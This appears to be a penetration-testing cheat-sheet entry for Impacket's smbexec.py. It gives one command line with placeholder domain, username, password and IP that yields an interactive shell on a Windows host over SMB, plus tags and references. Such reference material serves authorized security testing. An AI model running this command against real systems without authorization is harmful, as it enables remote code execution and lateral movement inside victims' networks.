Impacket-smbexec

ExecutionLinuxWindowsActiveDirectory

Impacket's smbexec.py. This will give you an interactive shell on the Windows host. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 smbexec.py test.local/john:password123@10.10.10.1

Evidence: Upstream reference
Environment: Active Directory
Native: Exploitation
Requires: Password, Username
Services: SMB
Refs: github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
www.varonis.com/blog/insider-danger-stealthy-password-hacking-with-smbexec/